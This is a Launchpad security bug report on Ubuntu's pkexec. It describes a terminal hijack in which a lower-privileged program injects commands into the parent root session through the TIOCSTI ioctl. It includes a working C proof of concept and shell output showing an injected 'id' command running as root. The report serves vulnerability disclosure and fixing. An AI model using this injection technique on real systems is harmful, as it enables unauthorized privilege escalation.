** Information type changed from Public to Public Security
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https://bugs.launchpad.net/bugs/1535768
Title:
pkexec tty hijacking via TIOCSTI ioctl
Status in policykit-1 package in Ubuntu:
New
Bug description:
When executing a program via "pkexec --user nonpriv program" the nonpriv
session can escape to the parent session by using the TIOCSTI ioctl to push
characters into the terminal's input buffer, allowing privilege escalation.
This issue has been fixed in "su" CVE-2005-4890 by calling setsid() and in
"sudo" by using the "use_pty" flag.
$ cat test.c
#include <sys/ioctl.h>
int main()
{
char *cmd = "id\n";
while(*cmd)
ioctl(0, TIOCSTI, cmd++);
}
$ gcc test.c -o test
$ id
uid=1000(saken) gid=1000(saken) groups=1000(saken)
# pkexec --user saken ./test ----> last command i type in
id
# id ----> did not type this
uid=0(root) gid=0(root) groups=0(root)
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